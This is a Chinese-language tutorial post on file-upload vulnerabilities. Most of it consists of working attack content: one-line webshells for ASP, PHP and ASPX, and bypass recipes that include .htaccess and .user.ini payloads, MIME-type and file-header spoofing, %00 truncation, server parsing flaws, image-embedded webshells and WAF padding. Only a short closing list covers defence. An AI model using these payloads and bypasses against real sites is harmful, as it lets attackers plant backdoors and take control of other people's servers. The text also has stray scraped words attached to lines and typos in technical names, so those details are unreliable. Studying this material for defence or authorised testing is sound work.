WEB漏洞——文件上传

2021年09月16日 阅读数:3
这篇文章主要向大家介绍WEB漏洞——文件上传,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

有关文件上传的知识

  • 为何文件上传存在漏洞

  上传文件时,若是服务端代码未对客户端上传的文件进行严格的验证和过滤就容易形成能够上传任意文件的情況,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。javascript

经常使用一句话木马php

  asp一句话木马:
   <%execute(request(“test”))%>
  php一句话木马:
   <?php @eval($_POST[test]);?>
  aspx一句话木马:
  <%@ Page Language=“Jscript”%>
  <%eval(Request.Item[“test”])%>

 

  • 危害

  非法用户能够利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为 Webshell,也可将 Webshell本称为一种网页后门Webshell本具备很是强大的功能,好比查看服务器目录、服务器中的文件,执行系统命令等。前端

 

JS检测绕过

JS检则绕过上传漏洞常见于用户选择文件上传的场景,若是上传文件的后缀不被容许,则会弹框告知,此时上传文件的数据包并无发送到服务端,只是在客户端浏览器使用 javascript)对数据包进行检测。java

三种方法绕过js检测nginx

  • 直接浏览器设置禁用JavaScript(但通常禁用了js页面不少正常的功能没法运行)
  • 删除JS前端验证处的代码
  • 使用BurpSuite抓包:先把php木马改为jpg后缀上传,通过前端验证以后抓到包修改回php后缀便可

 

文件类型(MIME)检测绕过

上传一个php文件抓包看看,看到Content-Type显示的是application/octet-streamshell

 接着再上传一个普通的图片看看,变成了image/jpegapache

若是服务端经过这个来判断文件类型,那么就能够被绕过,直接抓包修改文件类型便可浏览器

 

文件内容头校验

服务端经过文件内容中的文件头来判断是不是非法上传服务器

一样能够经过抓包修改绕过app

这里给出两个好记的文件头

格式

文件头

GIF 

GIF89a
BMP  BM

 

文件内容<?校验绕过

使用Javascript绕过

<script language="php">
@eval($_POST['test']);
</script>

 

Apache解析漏洞

在 Apache的解析顺序中,是从右到左开始解析文件后缀的,若是最右侧的扩展名不可识别,就继续往左判断,直到遇到能够解析的文件后缀为止。

例如一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析 ,若是ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止

 

Nginx解析漏洞

这个漏洞形成的缘由只要是php配置文件中的选项cgi.fi:x_pathinfo
例如/1.txt/1.php 因为1.php是不存在的,就会把1.txt文件当成php文件来执行。

 

IIS 5.X~6.X解析漏洞

当创建.asp .asa的文件夹时,其目录下的全部文件都会看成asp 文件来解析。

当文件位 .asp;1.jpg时,iis一样会把他看成ASP脚原本执行。



黑名单绕过——.htaccess文件

建立一个名为.htaccess的文件,写入如下代码,上传到目标网站

SetHandler application/x-httpd-php  //方法一:将全部文件解析成php
AddType  application/x-httpd-php .png   //方法二:将jpg文件解析成php

接着将一句话木马以图片的形式保存,在上传到目标网站,图片将会以php执行  

 

黑名单绕过——.uer.ini文件

.uer,ini跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

首先,构造一个.user.ini文件,内容以下:

GIF89a                  
auto_prepend_file=test.jpg  //指定在主文件以前自动解析的文件的名称,并包含该文件,就像使用require函数调用它同样。

上传到目标网站。接着将一句话木马以图片的形式保存,在上传到目标网站,图片将会以php执行

 

文件截断%00绕过

截断原理:因为00表明结束符,因此会把00后面的全部字符删除。

截断条件:PHP版本小于5.3.4,PHP的 magic_quotes_gpc为OFF状态。 

 修改参数 test.php%00.jpg,文件被保存到服务器时,%00会把“jpg"和按时间生成的图片文件名所有截断,那么文件名就剩下test.php,所以成功上传了 Webshell

 

大小写/双写绕过

没啥好写如题

 

图片马

将php文件和jpg文件放一块儿,打开cmd输入

copy test.php /b + 2.jpg /a 2.png 

或者直接用记事本打开jpg图片,在里面输入一句话木马,便可作出图片马

可是图片马不能直接利用,须要经过文件包含来利用 

 

 

数据溢出绕过waf

在网上还看到了一个有意思的绕过方法,垃圾数据缓冲溢出

 通常文件上传的时候会有这样的格式,就在filename的前面塞大量的垃圾数据,绕过waf,注意垃圾数据后面要加一个分号

 

 

文件上传漏洞防护

  • 经过白名单的方式判断文件是否合法
  • 对上传后的文件进行重命名,例如rand(10,99).jpg